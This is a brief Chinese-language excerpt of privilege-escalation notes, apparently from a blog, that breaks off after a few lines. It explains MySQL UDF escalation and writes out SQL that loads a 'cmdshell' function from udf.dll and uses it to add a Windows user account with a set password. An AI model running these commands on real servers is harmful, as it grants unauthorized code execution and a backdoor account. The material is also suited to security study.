提权整理

提权
# UDF提权 利用mysql的可自建函数功能达到提权的效果，`sqlmap`的`os-shell`的原理也是如此： create function cmdshell returns string soname ’udf.dll’ select cmdshell(’net user iis_user 123!@#abcABC /add’); select cmd
More »